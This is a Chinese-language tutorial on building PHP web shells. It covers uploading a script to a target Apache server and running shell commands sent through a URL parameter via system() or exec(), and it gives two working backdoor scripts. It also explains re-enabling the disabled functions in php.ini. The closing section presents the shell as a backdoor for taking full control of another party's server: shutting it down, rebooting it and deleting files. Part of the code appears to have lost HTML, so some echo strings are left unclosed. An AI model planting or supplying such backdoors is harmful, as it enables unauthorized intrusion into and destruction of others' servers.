如何通过一个文本文件的网页来控制服务器呢?
在服务器上执行命令
在网页上返回执行结果
使用思路
基于web的木马
上传到靶机的apache服务器中
通过web访问
将命令传给木马
木马接收命令在服务器端执行
将执行结果(服务器的信息)返回到web页面上
使用的php函数
php执行shell/cmd命令,可以使用下面几个函数:
string system(string $command [,int &$return_var])string exec(string $command [,array &$output [,int &$return_var]])void passthru (string $command[,int &$return_var])
注意:
这三个函数在默认的情况下,都是被禁止了的
如果要使用这几个函数,
就要先修改php的配置文件php.ini
查找关键字disable_functions,将这一项中的这几个函数名删除掉
然后注意重启apache。
木马脚本1:使用system()函数运行
<?php #获取网页传递参数 $shell = $_REQUEST['shell']; echo "
";
system($shell, $status); echo "
//注意shell命令的执行结果和执行返回的状态值的对应关系
$shell = "$shell";
if( $status ){
echo "shell命令{$shell}执行失败";
} else {
echo "shell命令{$shell}成功执行";
}
?>
使用方法:
访问地址,并传递shell参数http://localhost:81/shell.php?shell=ipconfig
返回结果:
木马脚本2:使用exec()函数执行
<?php $shell = $_REQUEST['shell']; exec($shell, $result, $status); $shell = ""; echo "
";
if( $status ){ echo "shell命令{$shell}执行失败"; } else { echo "shell命令{$shell}成功执行, 结果如下"; print_r( $result ); } echo "
?>
使用方法:
使用浏览器访问:http://localhost:81/shell.php?shell=ipconfig
exec()执行shell命令成功,但是并不返回结果,需要使用输出命令
输出$result结果
返回结果:
作为木马后门
上传到对方服务器下的网站目录下
访问该地址,就可以通过浏览器链接
将你要运行的指令传入到服务器中执行
并且拿到回显结果
关机 重启 删除文件等等都可以完全控制执行